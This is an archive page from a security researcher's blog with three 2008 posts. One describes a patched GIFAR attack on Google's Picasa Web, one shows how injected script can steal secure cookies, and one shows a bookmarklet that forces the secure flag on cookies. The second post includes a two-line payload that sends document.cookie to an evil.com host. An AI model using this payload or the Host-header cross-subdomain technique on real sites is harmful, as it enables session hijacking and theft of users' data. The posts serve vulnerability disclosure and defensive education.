Archive for the 'Web Application Security' Category
Wednesday, December 17th, 2008
SUN Fixes GIFARs
Last week, Sun released a patch for a vulnerability I reported to them. The patch I’m talking about fixes the “GIFAR” issue. I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack. Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).
Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!
As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:
The footer looks something like this:
We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.
When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.
After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.
Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.
Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.
Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.
When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.
It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.
Wednesday, September 24th, 2008
Surf Jacking Secure Cookies
I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?
Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:
<script src=”http://myanalytics.com/webbugs.js”></script>
Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site. In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE. Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html). Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):
CookiesStealer = new Image();
CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.
Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.
Tuesday, September 9th, 2008
Simple Lesson on Secure Cookies
I recently read a paper written by Sandro Gauci from Enable Security entitled “Surf Jacking – HTTPS will not save you”. You can find the paper here.
It’s an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.
<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim’s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective… yet we continue to struggle on wide scale implementation because we’ve taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn’t, it would break the web… but i digress.
There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a “SET-COOKIE” header, it’s merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires…etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.
I’ve set up a page on here that simply sets a cookie in the following manner:
Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE
Examining the Cookie in FireFox shows the following:

As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.
javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute… Hmmmm a tool to prevent Surf/Side Jacking attacks… I wonder what I would call it… Any ideas Nate?
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:

As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We’ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.
Now, this approach does have it cons… Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked






